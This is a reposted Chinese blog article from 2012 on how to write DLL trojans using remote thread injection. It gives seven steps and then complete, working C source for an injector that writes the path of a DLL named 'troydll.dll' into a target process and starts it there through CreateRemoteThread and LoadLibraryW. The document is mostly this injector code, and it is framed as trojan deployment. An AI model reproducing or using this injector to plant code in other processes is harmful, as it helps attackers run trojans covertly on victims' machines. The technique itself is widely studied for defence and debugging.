VC++DLL木马编写原理DLL远程注入
作者:admin 发布于:2012-6-30 16:43 Saturday 分类:网络转载
从DLL木马注入程序的源代码中我们可以分析出DLL木马注入的一般步骤为:
(1)取得宿主进程(即要注入木马的进程)的进程ID dwRemoteProcessId;
(2)取得DLL的完全路径,并将其转换为宽字符模式pszLibFileName;
(3)利用Windows API OpenProcess打开宿主进程,应该开启下列选项:
a.PROCESS_CREATE_THREAD:允许在宿主进程中创建线程;
b.PROCESS_VM_OPERATION:允许对宿主进程中进行VM操作;
c.PROCESS_VM_WRITE:允许对宿主进程进行VM写。
(4)利用Windows API VirtualAllocEx函数在远程线程的VM中分配DLL完整路径宽字符所需的存储空间,
并利用Windows API WriteProcessMemory函数将完整路径写入该存储空间;
(5)利用Windows API GetProcAddress取得Kernel32模块中LoadLibraryW函数的地址,
这个函数将作为随后将启动的远程线程的入口函数;
(6)利用Windows API CreateRemoteThread启动远程线程,将LoadLibraryW的地址作为远程线程的
入口函数地址, 将宿主进程里被分配空间中存储的完整DLL路径作为线程入口函数的参数以另其启动指定的DLL
(7)清理现场。#include <windows.h> #include <stdlib.h> #include <stdio.h> void CheckError ( int, int, char *); //出错处理函数 PDWORD pdwThreadId; HANDLE hRemoteThread, hRemoteProcess; DWORD fdwCreate, dwStackSize, dwRemoteProcessId; PWSTR pszLibFileRemote=NULL; void main(int argc,char **argv) { int iReturnCode; char lpDllFullPathName[MAX_PATH]; WCHAR pszLibFileName[MAX_PATH]={0}; dwRemoteProcessId = 4000; strcpy(lpDllFullPathName, "d:\\troydll.dll");//将DLL文件全路径的ANSI码转换成UNICODE码 iReturnCode = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS, lpDllFullPathName, strlen(lpDllFullPathName), pszLibFileName, MAX_PATH); CheckError(iReturnCode, 0, "MultByteToWideChar"); //打开远程进程 hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允许创建线程 PROCESS_VM_OPERATION | //允许VM操作 PROCESS_VM_WRITE, //允许VM写 FALSE, dwRemoteProcessId ); CheckError( (int) hRemoteProcess, NULL, "Remote Process not Exist or Access Denied!"); //计算DLL路径名需要的内存空间 int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR); pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb, MEM_COMMIT, PAGE_READWRITE); CheckError((int)pszLibFileRemote, NULL, "VirtualAllocEx"); //将DLL的路径名复制到远程进程的内存空间 iReturnCode = WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL); CheckError(iReturnCode, false, "WriteProcessMemory"); //计算LoadLibraryW的入口地址 PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); CheckError((int)pfnStartAddr, NULL, "GetProcAddress"); //启动远程线程,通过远程线程调用用户的DLL文件 hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL); CheckError((int)hRemoteThread, NULL, "Create Remote Thread"); //等待远程线程退出 WaitForSingleObject(hRemoteThread, INFINITE); //清场处理 if (pszLibFileRemote != NULL) { VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE); } if (hRemoteThread != NULL) { CloseHandle(hRemoteThread ); } if (hRemoteProcess!= NULL) { CloseHandle(hRemoteProcess); } } //错误处理函数CheckError() void CheckError(int iReturnCode, int iErrorCode, char *pErrorMsg) { if(iReturnCode==iErrorCode) { printf("%s Error:%d\n\n", pErrorMsg, GetLastError()); //清场处理 if (pszLibFileRemote != NULL) { VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE); } if (hRemoteThread != NULL) { CloseHandle(hRemoteThread ); } if (hRemoteProcess!= NULL) { CloseHandle(hRemoteProcess); } exit(0); } }